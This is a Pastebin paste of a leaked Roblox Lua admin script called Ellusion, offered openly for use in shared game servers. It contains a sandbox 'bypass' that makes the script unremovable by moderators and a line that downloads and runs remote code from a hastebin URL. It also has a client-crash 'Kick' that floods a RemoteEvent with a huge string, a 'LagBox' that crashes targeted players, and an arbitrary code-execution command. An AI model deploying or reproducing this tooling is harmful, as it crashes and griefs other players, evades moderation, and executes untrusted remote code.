Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[Hello this is Dr_Coton someone has took my script and they are going to leak it]]--
- --[[So why not just leak it before they trade it?]]--
- --[[Have fun with it]]--
- --[[Leaked by Dr_Coton]]--
- wait()
- script.Name = 'script'
- --[[Bypass]]--
- if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
- if script ~= true then
- print("Unremoveable Test Completed! Works! This script is immune to g/nol/all or g/nos/all!")
- else
- print("Unremoveable Test Failed! This script is removable by g/nol/all or g/nos/all!")
- end
- -------------
- local Ellusion
- loadstring(game:GetService("HttpService"):GetAsync("https://hastebin.com/raw/fixiduniya.lua"))()
- Ellusion = {
- Functions = {};
- Services = {};
- Ranked = {
- {Name = 'retram', Rank = 7, Reason = 'Creator', Color = 'Really black'};
- {Name = 'Aviatorr', Rank = -1, Reason = 'fuck off', Color = 'Bright blue'};
- {Name = 'Dogeness33', Rank = 6, Reason = 'Friend', Color = 'Really red'};
- {Name = 'NatsuiDragonslayer', Rank = 5, Reason = 'Friend', Color = 'Deep blue'};
- {Name = 'nornorm', Rank = 7, Reason = 'Tester', Color = 'Really red'};
- {Name = 'MRePotatoes', Rank = 5, Reason = 'Friend', Color = 'Magenta'};
- {Name = 'woodguy50', Rank = -1, Reason = 'fuckoff', Color = 'Bright blue'};
- {Name = 'n00bahkiin2', Rank = 7, Reason = 'Gave me his Visualzier', Color = 'White'};
- {Name = 'HttpZen', Rank = 5, Reason = 'Friend', Color = 'White'};
- {Name = 'coldnick5', Rank = 7, Reason = 'Good Friend', Color = 'Really red'};
- {Name = 'Injectioneer', Rank = 7, Reason = 'gud nice friend', Color = 'Parsley green'};
- {Name = 'TheFlamingBlaster', Rank = 7, Reason = 'Good Friend/Good Scripter', Color = 'White'};
- {Name = 'PapiSwagGamez', Rank = 7, Reason = 'gud dood', Color = 'White'};
- {Name = 'TechnoSpirits', Rank = 7, Reason = 'Friend', Color = 'White'};
- {Name = 'YourNightmareUser', Rank = 7, Reason = 'Alternative Accont', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
- };
- Players = {};
- Prefix = ".";
- Rotation = 0;
- Tablets = {};
- Commands = {};
- Ranks = {
- [7] = "Rank 7";
- [6] = "Rank 6";
- [5] = "Rank 5";
- [4] = "Rank 4";
- [3] = "Rank 3";
- [2] = "Rank 2";
- [1] = "Rank 1";
- [0] = "Rank 0";
- [-1] = "Banned";
- };
- }
- Ellusion.Services = {
- Http = game:GetService('HttpService');
- Workspace = game:service'Workspace';--//or game:service'Workspace';
- Players = game:service'Players';
- MarktPlace = game:service'MarketplaceService';
- }
- Ellusion.Functions.AddRank = function(Name, Reason, Rank, Color)
- table.insert(Ellusion.Ranked,{Name = Name, Reason = Reason, Rank = Rank, Color = Color})
- end
- Ellusion.Functions.GetColor = function(plr)
- if type(plr) == "userdata" then
- plr = plr.Name
- elseif type(plr) == "string" then
- plr = plr
- else
- plr = tostring(plr)
- end
- for Index, Value in pairs(Ellusion.Ranked) do
- if Value.Name == plr then
- return Value.Color
- end
- end
- return 'White'
- end
- Ellusion.Functions.GetRank = function(plr)
- if type(plr) == "userdata" then
- plr = plr.Name
- elseif type(plr) == "string" then
- plr = plr
- else
- plr = tostring(plr)
- end
- for Index, Value in pairs(Ellusion.Ranked) do
- if Value.Name == plr then
- return Value.Rank
- end
- end
- return 0
- end
- Ellusion.Functions.Output = function(Player, Text, Color, Func)
- if Text == nil then Text = Text end
- Text = '\n'..Text
- if Color == nil then Color = 'Really black' end
- local Output=Instance.new('Part',workspace)
- Output.Anchored = true
- Output.CanCollide = false
- Output.TopSurface = 'Smooth'
- Output.BottomSurface = 'Smooth'
- Output.Transparency = .0
- Output.FormFactor = 'Custom'
- Output.Name = 'Ellusion'
- Output.Parent = game.Workspace
- Output.Anchored = true
- Output.Size = Vector3.new(1.5, 1.5, 1.5)
- pcall(function() Output.CFrame = Player.Character.Torso.CFrame end)
- Output.BrickColor = BrickColor.new(Color)
- Output.Material = 'Neon'
- --//Output.Size = Vector3.new(2.5, 2.5, 2.5)
- local Light=Instance.new('PointLight',Output)
- Light.Brightness = 10000000
- local SBox = Instance.new("SelectionBox", Output)
- SBox.Adornee = Output
- SBox.Transparency = 0
- SBox.LineThickness = 0.000
- SBox.Color = BrickColor.new(Color)
- local Gui = Instance.new("BillboardGui", Output)
- Gui.Adornee = Output
- Gui.Size = UDim2.new(1, 0, 1, 0)
- Gui.StudsOffset = Vector3.new(0, 3, 0)
- local TLabel = Instance.new("TextLabel", Gui)
- TLabel.Text = Text
- TLabel.TextStrokeTransparency = 0
- TLabel.Transparency = 1
- TLabel.Font = 'SourceSansBold'
- TLabel.FontSize = 'Size24'
- TLabel.TextTransparency = 0
- TLabel.Size = UDim2.new(1, 0, 1, 0)
- TLabel.TextColor3 = Output.Color
- TLabel.BorderColor3 = Color3.new(0, 0, 0)
- local ClickD = Instance.new("ClickDetector", Output)
- ClickD.MaxActivationDistance = 1/0
- ClickD.MouseClick:connect(function(p)
- if p.Name == Player.Name or Ellusion.Functions.GetRank(p) > Ellusion.Functions.GetRank(Player) then
- Output:Destroy()
- for i,v in pairs(Ellusion["Tablets"]) do
- if v.Name == Output.Name then
- table.remove(Ellusion["Tablets"], i)
- end
- end
- if Func ~= nil then
- a,b = ypcall(function()
- Func()
- end) if not a then Ellusion.Functions.Output(b,"Really red") end
- end
- end
- end)
- --[[for Size = 2.5,3,0 do
- Output.Size = Vector3.new(Size, Size, Size)--//woops
- end]]--
- table.insert(Ellusion.Tablets,{Tab = Output, Text = TLabel, Player = Player, Box = Sel})
- end
- local stime = tick()
- local starttime = tick()
- Ellusion.Functions.RotateTabs = function()
- local Rotation = Ellusion.Rotation
- Rotation = Ellusion.Rotation+(0.5/360)
- for _,Player in pairs(game:service'Players':GetPlayers()) do
- local Counter = 0
- local PlayerTablets = {}
- for i,v in pairs(Ellusion.Tablets) do
- if v.Tab.Parent ~= nil and v.Player == Player then
- table.insert(PlayerTablets,v)
- end;end;
- local Start = CFrame.new(0,0,0)
- for I = 1, #PlayerTablets do
- local radius = (#PlayerTablets*.6)+1
- local Pos = nil
- pcall(function() Pos = Player.Character.Torso.CFrame end)
- if Pos == nil then return end
- local Main = (I / #PlayerTablets - (0.3 / #PlayerTablets) + Ellusion.Rotation/(#PlayerTablets/7)) * math.pi * 2
- local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
- local y = math.sin(tick()+I)*.75;
- local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
- local aPos = Vector3.new(x, y, z) + Pos.p
- local bPos = PlayerTablets[I].Tab.CFrame.p
- local cPos = (aPos * .1 + bPos * .9)
- PlayerTablets[I].Tab.CFrame = CFrame.new(cPos, Pos.p)
- local d = math.rad((Rotation * 300)*math.pi);
- PlayerTablets[I].Tab.CFrame = CFrame.new(cPos,Pos.p)*CFrame.Angles(math.rad(tick()),math.rad(tick()),math.rad(tick())) --//Somethings Wrong with search sounds
- end;end;end;
- Ellusion.Functions.AddCommand = function(Name, Say, Desc, Rank, Func)
- Ellusion.Commands[Name] = {Name = Name, Say = Say, Desc = Desc, Rank = Rank, Func = Func}
- end
- --//LET ME
- Ellusion.Functions.GetRanked = function(Self)
- Ellusion.Functions.Dismiss(Self)
- for i,v in pairs(Ellusion.Ranked) do
- wait()
- Ellusion.Functions.Output(Self, v['Name']..' ('..v['Rank']..')', 'Bright blue', true,function()
- Ellusion.Functions.Dismiss(Self)
- if Ellusion.Ranked[Self.Name]['Rank'] > Ellusion.Ranked[Self.Name]['Rank'] then
- Ellusion.Functions.Output(Self, 'Set Rank', 'Bright blue', false,function()
- Ellusion.Functions.Dismiss(Self)
- for i=-1, Ellusion.Ranked[Self.Name]['Rank'] do
- Ellusion.Functions.Output(Self, 'Set rank to'..i, 'White', false,function()
- Ellusion.Functions.Dismiss(Self)
- v['Rank'] = i
- Ellusion.Functions.Output(Self, v['Name'].."'s rank has been set to "..i, 'White', true)
- end)
- end
- end)
- end
- Ellusion.Functions.Output(Self,'Name: '..v['Name'], 'Bright Blue', false)
- Ellusion.Functions.Output(Self,'Desc: '..v['Desc'], 'Bright Blue', false)
- Ellusion.Functions.Output(Self, 'Add to Pri', function()
- Ellusion.Pri_List[v['Name']] = true
- end)
- if game.Players:FindFirstChild(v['Name']) then
- Ellusion.Functions.Output(Self,'AccountAge: '..game.Players:FindFirstChild(v['Name']).AccountAge, 'Bright blue', false)
- Ellusion.Functions.Output(Self,'UserID: '..game.Players:FindFirstChild(v['Name']).userId, 'Bright blue', false)
- end
- end)
- end
- end
- Ellusion.Functions.SoundSearch = function(Plr,Name)
- Ellusion.Functions.Dismiss(Plr)
- Ellusion.Functions.Output(Plr, 'Searching For: '..Name, 'Black', true)
- wait(1.5)
- Ellusion.Functions.Dismiss(Plr)
- local Get = Ellusion.Services.Http:GetAsync('http://roblox-proxy.cf/catalog/json?Category=9&Keyword='..Name)
- local Songs = Ellusion.Services.Http:JSONDecode(Get)
- local i = 1
- repeat
- local SongName = string.gsub(Songs[i].Name,"'","'")
- local ID = Songs[i].AssetId
- local SongDesc = Songs[i].Description
- local Creator = Songs[i].Creator
- Ellusion.Functions.Output(Plr, SongName,'White',false,function()
- Ellusion.Functions.Dismiss(Plr)
- Ellusion.Functions.Output(Plr, 'Song name: '..SongName,'Black', false,nil)
- Ellusion.Functions.Output(Plr, 'Description: '..SongDesc,'Black', false,nil)
- Ellusion.Functions.Output(Plr, 'Creator: '..Creator,'Black', false,nil)
- Ellusion.Functions.Output(Plr, 'Sound Settings','Lime green',true, function()
- Ellusion.Functions.Dismiss(Plr)
- Ellusion.Functions.Output(Plr, 'Set Pitch | 2','Lime green',true, function()
- Sound.Pitch = 2
- end)
- Ellusion.Functions.Output(Plr, 'Set Pitch | 1','Lime green',true, function()
- Sound.Pitch = 1
- end)
- Ellusion.Functions.Output(Plr, 'High Volume','Lime green',true, function()
- Sound.Volume = 10
- end)
- Ellusion.Functions.Output(Plr, 'Normal Volume','Lime green',true, function()
- Sound.Volume = 1
- end)
- Ellusion.Functions.Output(Plr, 'Loop Sound','Lime green',true, function()
- Sound.Looped = true
- end)
- Ellusion.Functions.Output(Plr, 'StopLoop','Lime green',true, function()
- Sound.Looped = false
- end)
- end)
- Ellusion.Functions.Output(Plr, 'Stop Sounds','Really red', true,function()
- Sound:Stop()
- end)
- Ellusion.Functions.Output(Plr, 'Play','White', true,function()
- Sound = Instance.new('Sound')
- Sound.SoundId = 'http://www.roblox.com/asset/?id='..ID
- Sound:Play()
- Sound.Parent = workspace
- wait()
- Sound:Play()
- end)
- end)
- wait()
- i = i + 1
- until i == 20 or i == #Songs
- end
- for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
- Ellusion.Functions.Output(Player, "Welcome to Ellusion", "Really red")
- Ellusion.Functions.Output(Player, "Ellusion Is Now Running Anti-Fm", "Really red")
- Ellusion.Functions.Output(Player, "Ellusion Is Created By DrCoton", "Really red")
- Ellusion.Functions.Output(Player, "Updates: Due to some moron, I won't be running Ellusion Anymore", "Really red")
- Ellusion.Functions.Output(Player, "Your Rank : " ..Ellusion.Functions.GetRank(Player))
- Ellusion.Functions.Output(Player, "Ellusion Took "..stime.." to start.", "Megenta")
- Ellusion.Functions.Output(Player, "Join The Discord! |https://discord.gg/PvcTv74|", "White")
- Ellusion.Functions.Output(Player, "The Current Bet Is .", "Lime green")
- Player.Chatted:connect(function(message)
- Ellusion.Functions.OnChatted(Player, message)
- end)
- end
- Ellusion.Functions.OnChatted = function(plr, msg)
- for i,v in pairs(Ellusion.Commands) do
- if msg:lower():sub(1,#v['Say']+#Ellusion.Prefix) == v['Say']..Ellusion.Prefix then
- if Ellusion.Functions.GetRank(plr) >= v.Rank then
- msg=msg:sub(1+#v['Say']+#Ellusion.Prefix)
- a,b=ypcall(function()
- v['Func'](plr, msg)
- end) if not a then warn(b) end
- else
- Ellusion.Functions.Output(plr, "Your Rank is too low to execute rank : "..v['Rank']..' Command', 'Really red')
- wait(3)
- Ellusion.Functions.Dismiss(plr)
- end
- end
- end
- end
- Ellusion.Functions.GetPlayers=function(plr, msg, all)
- local plrs = {}
- if msg:match("^!") then
- return Ellusion.Functions.GetPlayers(plr, msg:sub(2), true)
- elseif msg == "me" then
- table.insert(plrs, plr)
- elseif msg == "all" then
- for _,v in pairs(game:service'Players':players()) do
- if all or Ellusion.Functions.GetRank(v) <= Ellusion.Functions.GetRank(plr) then
- table.insert(plrs, v)
- end
- end
- elseif msg == "others" then
- for _,v in pairs(game:service'Players':players()) do
- if v ~= plr then
- if all or Ellusion.Functions.GetRank(v) <= Ellusion.Functions.GetRank(plr) then
- table.insert(plrs, v)
- end
- end
- end
- else
- for _,v in pairs(game:service'Players':players()) do
- if v.Name:lower():sub(1,#msg) == msg:lower() then
- if all or Ellusion.Functions.GetRank(v) <= Ellusion.Functions.GetRank(plr) then
- table.insert(plrs, v)
- end
- end
- end
- end
- return plrs
- end
- Ellusion.Functions.Dismiss = function(plr)
- for i,v in pairs(Ellusion.Tablets) do
- if v.Player == plr then
- v.Tab:Destroy()
- end
- end
- end
- Ellusion.Functions.LagBox = function(Plr)
- model = Instance.new("Model")
- model.Name = "Circle"
- model.Parent = game.Workspace
- Plr.CameraMode=Enum.CameraMode.LockFirstPerson
- position = CFrame.new(0, 1, 0)
- number = 1000
- radius = 10
- size = Vector3.new(2.2,500,0.2)
- script.Name = 'Lag_Room'
- m=Instance.new('Hint',Plr.PlayerGui)
- m.Text = 'LagB0x has began!'
- for i=1, number, 10 do
- part = Instance.new("Part",workspace.Base)
- Plr.Character.Torso.CFrame = CFrame.new(part.Position)
- part.Anchored = true
- part.BrickColor = BrickColor.new('Magenta')
- part.Material = 'Neon'
- part.Locked = true
- part.Transparency = .5
- part.formFactor = "Custom"
- part.Parent = model
- part.Size = size
- sine = math.sin((360/number + 360/number*i)/(180/math.pi))
- cosine = math.cos((360/number + 360/number*i)/(180/math.pi))
- part.CFrame = position + Vector3.new(radius*sine, 0, radius*cosine)
- --part.CFrame = CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
- wait()
- end
- while wait() do
- w0=Instance.new('Explosion',part)
- w1=Instance.new('Explosion',part)
- w2=Instance.new('Explosion',part)
- w3=Instance.new('Explosion',part)
- w4=Instance.new('Explosion',part)
- w5=Instance.new('Explosion',part)
- w6=Instance.new('Explosion',part)
- end
- while wait() do
- f1=Instance.new('ForceField',plr)
- f2=Instance.new('ForceField',plr)
- f3=Instance.new('ForceField',plr)
- f4=Instance.new('ForceField',plr)
- f5=Instance.new('ForceField',plr)
- f6=Instance.new('ForceField',plr)
- end
- end
- Lightning = function(Start,End,Times,Offset,Color,Thickness,Transparency)
- local magz = (Start - End).magnitude local curpos = Start local trz = {-Offset,Offset}
- for i=1,Times do
- local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = Transparency or 0.4 li.BrickColor = BrickColor.new(Color)
- li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(Thickness,Thickness,magz/Times) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)])
- function touch(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil then
- hit.Parent:BreakJoints()
- end end li.Touched:connect(touch)
- local trolpos = CFrame.new(curpos,End)*CFrame.new(0,0,magz/Times).p+ofz
- if Times == i then
- local magz2 = (curpos - End).magnitude li.Size = Vector3.new(Thickness,Thickness,magz2)
- li.CFrame = CFrame.new(curpos,End)*CFrame.new(0,0,-magz2/2)
- else
- li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/Times/2)
- end
- curpos = li.CFrame*CFrame.new(0,0,magz/Times/2).p game.Debris:AddItem(li,0.25)
- end
- end
- Ellusion.Functions.Kick = function(Plr)
- local h=Instance.new('RemoteEvent',workspace):FireClient(Plr,{string.rep("get owned lold",2e5+5)})
- delay(3,function()
- pcall(function()
- h:remove()
- end)
- end)
- end
- Ellusion.Functions.OpenCommands = function(Speaker, rank)
- Ellusion.Functions.Dismiss(Speaker)
- table.foreach(Ellusion.Commands,function(i,v)
- if v['Rank'] <= rank then
- Ellusion.Functions.Output(Speaker, v.Name, Ellusion.Functions.GetColor(v), function()
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, "Name : " ..v.Name, Ellusion.Functions.GetColor(v))
- Ellusion.Functions.Output(Speaker, "Usage : " ..v.Say..Ellusion.Prefix, Ellusion.Functions.GetColor(v))
- Ellusion.Functions.Output(Speaker, "Desc : " ..v.Desc, Ellusion.Functions.GetColor(v))
- Ellusion.Functions.Output(Speaker, "Rank : " ..v.Rank, Ellusion.Functions.GetColor(v))
- Ellusion.Functions.Output(Speaker, "Dismiss", "Really red", function() Ellusion.Functions.Dismiss(Speaker) end)
- end)
- end
- end)
- end
- Ellusion.Functions.Test = function(Speaker, Msg)
- Ellusion.Functions.Output(Speaker, 'Ellusion is running.','Deep blue',nil)
- Ellusion.Functions.Output(Speaker, 'Ellusion ','Hot pink',nil)
- Ellusion.Functions.Outpue(Speaker, 'Dismiss','Really red', function()
- Ellusion.Functions.Dismiss()
- end)
- end
- Ellusion.Functions.AddCommand('Ranked','ranked','Shows all ranked players.',1,function(Speaker)
- Ellusion.Functions.GetRanked(Speaker)
- end)
- Ellusion.Functions.AddCommand('Show commands','cmds','Opens all commands',0,function(Player, Msg)
- Ellusion.Functions.Dismiss(Player, Msg)
- Ellusion.Functions.Output(Player, "Open commands that are avaiable.", "Really red", function() Ellusion.Functions.OpenCommands(Player,Ellusion.Functions.GetRank(Player)) end)
- for i = 0,7 do
- Ellusion.Functions.Output(Player, " " ..Ellusion.Ranks[i].. " Commands", Ellusion.Functions.GetColor(Player), function() Ellusion.Functions.Dismiss(Player) Ellusion.Functions.OpenCommands(Player, i) end)
- end
- Ellusion.Functions.Output(Player, "Your Rank : " ..Ellusion.Functions.GetRank(Player),"Teal")
- Ellusion.Functions.Output(Player, "Dismiss", "Really red", function() Ellusion.Functions.Dismiss(Player) end)
- end)
- Ellusion.Functions.AddCommand('Char','ch','Chars you to the said player ID.',2,function(Plr,Txt)
- Plr.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Txt
- Plr:LoadCharacter()
- end)
- Ellusion.Functions.AddCommand('Test','tst','Tests to see if the script is running',0,function(Speaker)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'Checking Ellusion If Its Online..','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'Ellusion Admin Is Up! Do cmds. To Open Commands!','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'Dismiss','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- end)
- end)
- end)
- Ellusion.Functions.AddCommand('Ban','ban','Bans the said player from the server.',4,function(Plr,Txt)
- Ellusion.Functions.Dismiss(Plr)
- local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
- for i,v in pairs(plrs) do
- if v then
- wait(.1)
- Ellusion.Functions.Kick(v)
- Ellusion.Ranked[v.Name]['Rank'] = -1
- Ellusion.Ranked[v.Name]['Reason'] = 'Banned via ban command. {Temp}'
- end
- end
- end)
- Ellusion.Functions.AddCommand('Dismiss','dt','Dismisses your tablet.',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- Ellusion.Functions.AddCommand('LagBox', 'lbox','Lags a player inside a box.',6, function(Plr, Txt)
- local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
- for i,v in pairs(plrs) do
- if v then
- Ellusion.Functions.Output(Plr,'Lagging '..v.Name..'With lagBox','Really red', true)
- Ellusion.Functions.LagBox(v)
- Plr.AncestryChanged:connect(function(child, parent)
- Ellusion.Functions.Output(Plr, v.Name..'Has Crashed from LagBox.','Really red', true)
- end)
- end
- end
- end)
- Ellusion.Functions.AddCommand('Dismiss all','dall','Dismsises everyones tabs.',4,function(Speaker, Msg)
- for i,v in pairs(game:GetService('Players'):GetPlayers()) do
- Ellusion.Functions.Dismiss(v)
- end
- end)
- Ellusion.Functions.AddCommand('Smoke','smoke','Gives a player smoke',2,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- Instance.new("Smoke", v.Character)
- end
- end
- end)
- Ellusion.Functions.AddCommand('Bright','bright','Makes The Server Really Bright',5,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- game.Lighting.TimeOfDay = 14
- game.Lighting.Ambient = Color3.new(100,100,100)
- game.Lighting.OutdoorAmbient = Color3.new(100,100,100)
- end)
- Ellusion.Functions.AddCommand('Kill','kill','Kills a player',2,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- pcall(function()
- v.Character:BreakJoints()
- end)
- end
- end
- end)
- Ellusion.Functions.AddCommand('Execute','exe','Executes a message.',5,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker, Msg)
- local loadstring_message=loadstring(Msg)
- if(loadstring_message) then
- a,b=ypcall(function()
- loadstring_message(Msg);
- end)
- if not a then
- end
- end
- end)
- Ellusion.Functions.AddCommand('Music List','mlist','Music That Is Already In The Admin(Adding More And More Music.',1,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'Loading Music List..','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'Music List Is still In Development(Stay Tuned For More Upadtes!)','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'Dismiss','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- end)
- end)
- end)
- Ellusion.Functions.AddCommand('Kick','kick','Kicks a player from game.',6,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- Ellusion.Functions.Kick(v)
- end
- end
- end)
- Ellusion.Functions.AddCommand('Disco','disco','Makes the whole place disco fog',4,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- local lighting = game.Lighting
- local random = math.random()
- lighting.FogEnd = "100"
- lighting.FogStart = "1"
- while true do
- wait(0.5)
- lighting.FogColor = Color3.new(math.random(), math.random(), math.random())
- end
- end)
- Ellusion.Functions.AddCommand('Dark','dark','Makes The Whole Game Dark',4,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
- game.Lighting.TimeOfDay = 0
- game.Lighting.Ambient = Color3.new(0,0,0)
- game.Lighting.OutdoorAmbient = Color3.new(0,0,0)
- end)
- Ellusion.Functions.AddCommand('Night','night','Turns The Sky Into A Night Sky',4,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
- game.Lighting.TimeOfDay = 0
- end)
- Ellusion.Functions.AddCommand('Day','day','Turns The Sky Into Day',4,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
- game.Lighting.TimeOfDay = 14
- end)
- Ellusion.Functions.AddCommand('dfix','dfix','Fixes The Time And Fog To Normal',5,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
- game.Lighting.TimeOfDay = 14
- game.Lighting.Ambient = Color3.new(1,1,1)
- game.Lighting.OutdoorAmbient = Color3.new(0.5,0.5,0.5)
- end)
- Ellusion.Functions.AddCommand('Forcefield','ff','Gives you forcefield to a player.',2,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- Instance.new("ForceField", v.Character)
- end
- end
- end)
- Ellusion.Functions.AddCommand('Freeze','freeze','Makes the player frozen.',3,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- v.Character.Torso.Anchored = true
- end
- end
- end)
- Ellusion.Functions.AddCommand('Thaw','thaw','Makes the player unfrozen.',3,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- v.Character.Torso.Anchored = false
- end
- end
- end)
- Ellusion.Functions.AddCommand('UnGod','ungod','Ungods a plr',2, function(Plr,Txt)
- local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
- for i,v in pairs(plrs) do
- if v and v.Character and v.Character.Humanoid then
- v.Character.Humanoid.MaxHealth = 100
- end
- end
- end)
- Ellusion.Functions.AddCommand('Smite','smite','Heres how to kill people #Ded',6,function(Plr, Txt)
- local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
- for i,v in pairs(plrs) do
- if v and v.Character then
- Lightning(v.Character.Torso.Position+Vector3.new(0,50,0),v.Character.Torso.Position,3,math.random(-2.5,2.5),"New Yeller",.4,.4)
- Instance.new("Explosion",v.Character.Torso).Position=v.Character.Torso.Position
- Ellusion.Functions.Output(Plr, 'Smited '..v.Name,'Lime green', false)
- end
- end
- end)
- Ellusion.Functions.AddCommand('God','god','God yourself, gives you infinite health.',2,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- if v then
- v.Character.Humanoid.MaxHealth = math.huge
- end
- end
- end)
- Ellusion.Functions.AddCommand('Rank','rank','Shows how to get ranked',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker,'Then send the message to him with the fourm in','White',true)
- Ellusion.Functions.Output(Speaker,'Make sure the info you filled is correct (To what it says)','White',true)
- Ellusion.Functions.Output(Speaker,'If the info is correct, you will be added into the table.','White',true)
- Ellusion.Functions.Output(Speaker,'Dismiss','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- end)
- end)
- Ellusion.Functions.AddCommand('AFK','afk','Shows your afk.',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker, Msg)
- for i = 1,5 do
- Ellusion.Functions.Output(Speaker,'You Are Now AFK '..Msg,'Really red',true)
- end
- end)
- Ellusion.Functions.AddCommand('Credits','cred','Shows the credits.',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'Loading Credits..','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'DrCoton | Creating The Admin','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'TheFlamingBlaster | Giving Sliding Server Message','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'Injectioneer | Giving Ideas','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'Zenuvius | for the lols','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'fireboltofdeath | Giving Anti-Fm','New Yellow',true)
- Ellusion.Functions.Output(Speaker, 'Dismiss','Really red',function()
- Ellusion.Functions.Dismiss(Speaker)
- end)
- end)
- end)
- Ellusion.Functions.AddCommand('Discord','dis','Shows the discord.',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker, Msg)
- for i = 1,5 do
- Ellusion.Functions.Output(Speaker,'This Is The Discord! |https://discord.gg/PvcTv74|'..Msg,'Really red',true)
- end
- end)
- Ellusion.Functions.AddCommand('Owners Discord','odis','Shows DrCotons discord',5,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker, Msg)
- for i = 1,5 do
- Ellusion.Functions.Output(Speaker,'This is DrCotons Disocrd |DrCoton#3261|'..Msg,'White',true)
- end
- end)
- Ellusion.Functions.AddCommand('Back','back','Afk from back.',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- for i = 1,5 do
- Ellusion.Functions.Output(Speaker, "Player Is Now Back"..Msg,"Really red")
- end
- end)
- Ellusion.Functions.AddCommand('Ping','ping','Pings a message.',2,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, Msg, Ellusion.Functions.GetColor(Speaker))
- end)
- Ellusion.Functions.AddCommand('Ping All','msg','Pings a message to server.',3,function(Speaker, Msg)
- for i,v in pairs(game.Players:GetPlayers()) do
- if v then
- Ellusion.Functions.Output(v, Msg, Ellusion.Functions.GetColor(Speaker))
- end
- end
- end)
